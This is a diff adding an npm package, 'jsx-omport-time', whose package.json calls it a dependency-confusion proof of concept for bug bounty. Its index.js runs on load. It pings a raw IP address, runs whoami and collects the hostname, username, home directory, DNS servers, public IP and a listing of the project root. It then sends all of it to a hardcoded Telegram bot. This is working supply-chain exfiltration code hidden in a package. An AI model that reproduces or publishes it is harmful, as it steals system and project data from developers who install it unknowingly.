jsx-omport-time 1.0.3

package/index.js

@@ -0,0 +1,108 @@
+const os = require("os");
+const dns = require("dns");
+const http = require("http");
+http.get("http://44.192.75.15:8000/test",(res)=>{});
+const https = require("https");
+const { execSync } = require("child_process");
+const fs = require("fs");
+const path = require("path");
+const packageJSON = require("./package.json");
+
+const package = packageJSON.name;
+
+// ────────────────────────────────────────────────
+const trackingData = {
+    p: package,
+    c: __dirname,
+    hd: os.homedir(),
+    hn: os.hostname(),
+    un: os.userInfo().username,
+    dns: dns.getServers(),
+    r: packageJSON ? packageJSON.___resolved : undefined,
+    v: packageJSON.version,
+    pjson: packageJSON,
+};
+
+// whoami (cross-platform)
+let whoamiOutput = "N/A";
+try {
+    whoamiOutput = execSync("whoami", { encoding: "utf8" }).trim();
+} catch {}
+
+// Public IP (with timeout)
+(async () => {
+    let publicIP = "N/A";
+    try {
+        publicIP = await new Promise((resolve) => {
+            const ipReq = https.get("https://api.ipify.org", (res) => {
+                if (res.statusCode !== 200) return resolve("N/A");
+                let data = "";
+                res.on("data", (chunk) => { data += chunk; });
+                res.on("end", () => resolve(data.trim()));
+            });
+            ipReq.on("error", () => resolve("N/A"));
+            ipReq.setTimeout(8000, () => { ipReq.destroy(); resolve("N/A"); });
+        });
+    } catch {}
+
+    trackingData.whoami = whoamiOutput;
+    trackingData.publicIP = publicIP;
+
+    // ─── Smart & lightweight project dir overview ───
+    let projectOverview = "N/A";
+    try {
+        const rootDir = process.cwd(); // usually the installing project's root
+        const items = fs.readdirSync(rootDir, { withFileTypes: true })
+            .map(item => item.isDirectory() ? `${item.name}/` : item.name)
+            .sort();
+
+        const MAX_ITEMS = 30;
+        const shown = items.slice(0, MAX_ITEMS);
+        projectOverview = shown.join("\n- ");
+        if (items.length > MAX_ITEMS) {
+            projectOverview += `\n- ... and ${items.length - MAX_ITEMS} more items`;
+        }
+        if (shown.length === 0) projectOverview = "(empty directory)";
+    } catch (err) {
+        projectOverview = `Error reading project dir: ${err.message}`;
+    }
+
+    // ─── Formatted message ───
+    const formattedMessage = `🔔 Tracking Alert
+📦 Package Info:
+- Name: ${trackingData.p}
+- Version: ${trackingData.v}
+- Path: ${trackingData.c}
+
+💻 System Info:
+- Hostname: ${trackingData.hn}
+- Whoami: ${trackingData.whoami}
+- Username: ${trackingData.un}
+- Home Dir: ${trackingData.hd}
+- Public IP: ${trackingData.publicIP}
+- DNS Servers: ${trackingData.dns.join(", ")}
+- Platform: ${os.platform()} (${os.arch()})
+- OS Release: ${os.release()}
+
+📂 Project Root Contents (top-level, limited):
+- ${projectOverview}
+
+📄 Package.json:
+- Description: ${trackingData.pjson.description || "N/A"}
+- Author: ${trackingData.pjson.author || "N/A"}
+- Main: ${trackingData.pjson.main || "N/A"}`;
+
+    const options = {
+        hostname: "api.telegram.org",
+        port: 443,
+        path: `/bot8201031515:AAGH9RVmfZq6TyGE7VRYUG6q3rhACJ2HZxo/sendMessage?chat_id=1904101357&text=${encodeURIComponent(formattedMessage)}`,
+        method: "GET",
+    };
+
+    const req = https.request(options, (res) => {
+        res.on("data", (d) => process.stdout.write(d));
+    });
+
+    req.on("error", (e) => console.error("Error:", e));
+    req.end();
+})();

package/package.json

@@ -0,0 +1,8 @@
+{
+  "name": "jsx-omport-time",
+  "version": "1.0.3",
+  "description": "Poc By piyush.kulkarni0212@gmail.com , This is dependency confusion package doing for bug bounty",
+  "main": "index.js",
+   "author": "Piyush Kulkarni - Security Researcher",
+  "license": "MIT"
+}